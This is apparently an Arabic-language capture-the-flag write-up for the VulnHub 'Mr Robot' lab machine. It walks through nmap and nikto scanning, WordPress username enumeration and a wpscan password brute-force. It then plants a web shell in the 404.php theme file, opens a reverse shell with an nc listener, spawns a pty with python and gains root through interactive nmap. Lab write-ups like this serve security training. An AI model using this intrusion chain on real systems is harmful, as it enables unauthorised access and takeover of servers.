في بداية الامر ساوضح بعض الامور عن CTF
CTF هي أختصار لـ “Capture the Flag”
وهي تحدي يدخل به المخترق او مجموعات المخترقين لـ حل الالغاز والوصول الى الهدف وفي كل مره تحل لغز تسحصل على معلومه مهمه تقودك الى المعلمه التالي التي يجب عليك الحصول عليها لـ الوصول للهدف النهائي
وساقوم بشرح اليوم عن تحدي Mr Robot وطريقه الوصول الى الهدف النهائي وهو الحصول على صلاحية root 😉
وساكون بعيد كل البعد عن الامور النظرية سيكون الشرح عملي بشكل كامل ( مع شرح بعض الامور )
ملاحظه: طريقه حل التحدي تختلف من شخص لـ شخص اخر, المخترقين لا يملكون نفس العقليه ( المجال مفتوح وكل الامور متاحه لـ الوصول للهدف النهائي )
سنقوم بتحميل النظام المراد اختراقه
https://www.vulnhub.com/entry/mr-robot-1,151
بعد ذلك نقوم بتنصيبه على virtual machine
بعد تثبيت النظام وتشغيله مباشره سيبدا التحدي
واول خطوه نقوم بها فحص الشبكة الخاصه بنا لكي نحصل على IP الهدف ومعرفه المنافذ المفتوحه عن طريق nmap
ننفذ الامر التالي عشان نستخرج الاجهزه بالشبكة ( مع تغييره لرقم شبكتك )
nmap -sn 192.168.1.1/24
نلاحظ بعد تنفذ الامر والفحص ظهرت لنا مجموعه من IP و MAC للاجهزه المتصله معنا بنفس الشبكة
ونلاحظ بأن الجهاز هذا هو الوحيد اسمه ( Oracle VirtualBox virtual NIC ) فـ هذا هدفنا 🙂 < الامر يختلف طبعاً من جهاز الى جهاز اخر
الان سنقوم بجمع المعلومات عن الهدف بخصوص المنافذ المفتوحه
وننفذ الامر التالي
nmap -F 192.168.1.140
هنا نشوف بأن المنافذ المفتوحه على IP الهدف هي 80 و 443 ومنفذ 22 مغلق
PORT STATE SERVICE
22/tcp closed ssh
80/tcp open http
443/tcp open https
بكذا نعرف ان الهدف يستخدم ويب سيرفر
الان سنقوم بفحص السيرفر من خلال اداه nikto وهي متواجده في اغلب التوزيعات الامنية
لكي نفحص السيرفر ننفذ الامر التالي
nikto -h 192.168.1.144
ستظهر لنا معلومات كثيره عن السيرفر
ومن اهم هذي المعلومات
ملف robots.txt
ومسار لوحة التحكم wp-login
وكما يظهر لنا الموقع يستخدم wordpress
الان نقوم بفحص ملف robots.txt بالدخول عليه من خلال المتصفح
وجدنا انه يحتوي على مسارين لـ ملفين الاول كلمات وكما يبدوا انها wordlist
والاخر هو المفتاح الاول وبكذا انت حليت اول لغز =D
طبعا الان نقوم بعمل مجلد عندنا ونحمل الملفات فيه عشان ماتضيع المعلومات منها ونرجع لها بشكل سريع لو احجتنا أي معلومة مستخرجه
بعد ذلك بندخل على لوحة التحكم وبنحاول نستخرج اسم المستخدم وكلمة المرور
قبل كذا خلونا نشوف كم عدد الكلمات الي بملف fsocity.dic
من خلال تطبيق الامر التالي
wc –w fsocity.dic
ويظهر عدد الكلمات الموجوده بالملف 858160 ( اوووب )
بناخذ وقت طويل في عملية التخمين على هذا العدد الكبير !
فلذلك الي راح نسويه هو باننا بنستعرض الكلمات الغير مكرره لـ اختصار الوقت علينا وحفظها بملف اخر مع الاحتفاظ بالنسخه الاصليه من الملف قد لا تنجح العملية معنا 🙂
ويكون هالشي من خلال تنفيذ الامر التالي
sort fsocity.dic | uniq -u > wordlist.txt
نرجع ننفذ الامر لنعرف عدد الكلمات الي ظهرت معنا بعد ماقمنا بـ اخذ الكلمات الغير مكرره بالملف
من خلال الامر التالي
wc –w wordlist.txt
ويظهر عدد الكلمات 10 فقط =D
تمام في الخطوه القادمه بقيت اخمن على اسم المستخدم وضعت مجموعه من الاسماء
مثل admin, user , root , administration
وجميعها لم تنجح ! اعتقدت بأن الكلمات الي استخرجناها العشر توجد بها مشكلة
ولكن بعد قراه الوصف
لـ الهدف عرفت كيف اختار مجموعه اسماء مستخدمين محتمل ان تكون صحيحه !
طبعا طريقه التخمين هي تدخل على صفحه استعاده كلمة المرور ووضع الاسماء فيها
http://192.168.1.144/wp-login.php?action=lostpassword
مثل ما نشاهد هنا وضعنا الاسم MrRobot وايضا خطا .. خلونا نجرب نضع اسم Elliot
الان مثل ماتشوفون تغيرت الرساله وان الايميل لايمكن ان يرسل, بمعنى هو الاسم الصحيح =D
الان نسخدم اداه WPscan ونخمن على اليوزر
من خلال الامر التالي
wpscan –url http://192.168.1.144 –username Elliot –wordlist /wordlist.txt
ملاحظه : لابد وضع مسار كلمات المرور كامل
وبكذا طلعنا الباسورد =D
ونجرب ندخل لوحة التحكم للموقع
وبكذا الان حنا دخلنا لوحة التحكم بنجاح, الان خلونا نرفع شل على الموقع عشان نقدر نحكم فيه ونعمل اتصال عكسي
الان نذهب الى Appearance ومن ثم اختيار editor والتعديل على 404.php وحذف ما بداخله ونضع بداله كود الشل ثم نضغط على Update File
وندخل على اي صفحه ليست موجوده بالموقع لجل يحولنا على صفحه 404
على سبيل المثال بدخل على صفحه
http://192.168.1.144/0xabdullah
وبكذا رفعنا الشل بنجاح الان نذهب الى [Back-Connection] لعمل اتصال عكسي مع السيرفر
قبل الضغط على زر Connect نذهب الى تيرمنال بجهازنا وننفذ الامر التالي
nc -l -n -v -p 5992
ثم نضغط على زر Connect
الان نذهب الى تيرمنال ونلاحظ ان الاتصال العكسي تم بنجاح
الان نريد استخراج العلم الثاني وحل اللغز حتى نصل الى الهدف النهائي
طبعا بحالتنا هذه عندك خيارين الان تبحث من خلال الاتصال العكسي او من خلال الشل المرفوع
والاسهل بالتنقل واسرع هو الشل, فلذلك خلونا نبحث في ملفات السيرفر ونطلع علمنا الثاني ونلتقطه =D
من خلال البحث في ملفات السيرفر وجدت مسار /home/robot/ ويجد به ملفين
كما تشاهدون الملف الاول هو : key-2-of-3.txt ولكن لا توجد لنا صلاحية لـ الاطلاع عليه فلذلك نحن لم نلتقط العلم الثاني حتى الان 😦 !
ولكن يوجد ملف اخر وهو: password.raw-md5 بعد فتح الملف ظهر لنا يوزر وباسورد مشفر بـMD5
واليوزر بـ اسم robot
الان خلونا نحاول كسر التشفير بالطريقه السهله وهو البحث بقوقل عن الهاش لاظهار المواقع التي تحتفظ بالهاش في قواعدها وهل تم كسره او لا
c3fcd3d76192e4007dfb496cca67e13b
وجدت الهاش بالفعل تم كسره
الباسورد هو:
abcdefghijklmnopqrstuvwxyz
نلاحظ من خلال مسار “/home/robot/” بأن robot يوزر بالسيرفر الي سبق وكسرنا تشفير كلمة المرور الخاصه به
نرجع الى الاتصال العكسي ونحاول ندخل على اليوزر من خلال الامر التالي
su robot
ولكن للاسف لايمكنا ذلك, نحتاج ندخل على shell داخل النظام لتغيير اليوزر
واسهل طريقه لدخول shell بالنظام هي فحص السيرفر هل مثبت عليه بايثون او لا ؟ ننفذ الامر التالي ونشوف النتيجه اذا ظهرت لنا علامه $ يعني قدرنا ندخل على shell
python -c 'import pty; pty.spawn("/bin/sh")'
كما نلاحظ قدرنا ندخل على shell وايضا الدخول على يوزر robot
الان نريد التقاط العلم الثاني ومن خلال تيرنمال نذهب الى مسار /home/robot
وسنجد الملفين السابقين ولكن نريد قراه ملف key-2-of-3.txt
من خلال الامر التالي
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
وبكذا حصلنا على العلم الثاني =D
طيب الان باقي اخر علم ولكن لا نملك صلاحية على باقي الملفات والمجلدات
ابسط طريقه هي استغلال ثغرات في البرامج تسمح لك تنفذ اوامر كـroot
ولذلك خلونا نفحص امر بسيط في nmap وبوريك صوره من جهازي وصوره من سيرفر الهدف
nmap -sO 192.168.1.1
جربت انفذ هالامر بجهازي ولكن الرد كان ببساطه
You requested a scan type which requires root privileges.
طيب بالمقابل خلونا ننفذ الامر بسيرفر الهدف ونشوف الرد =D
تمام ! نفذ الامر بدون يطلب صلاحية روت, وهذا الشي نقدر نستغله من خلال الدخول على Interactive في nmap من خلال الامر التالي
nmap –interactive
الان ندخل على shell من خلال تنفيذ الامر التالي
!sh
الان ببساطه نشوف علامه # =D
خلونا نتاكد ونشوف وش صلاحيتنا
واو كذا تمام جدا =D
الان خلونا ندور على علمنا الثالث والاخير وننهي التحدي !
من خلال البحث في ملفات السيرفر وجدت العلم الثالث داخل مجلد root
وبكذا انهينا التحدي 😉 والسيرفر تحت تحكمك بشكل كامل =D
هذا ما عندي فإن أحسنت فمن الله، وإن أسأت أو أخطأت فمن نفسي والشيطان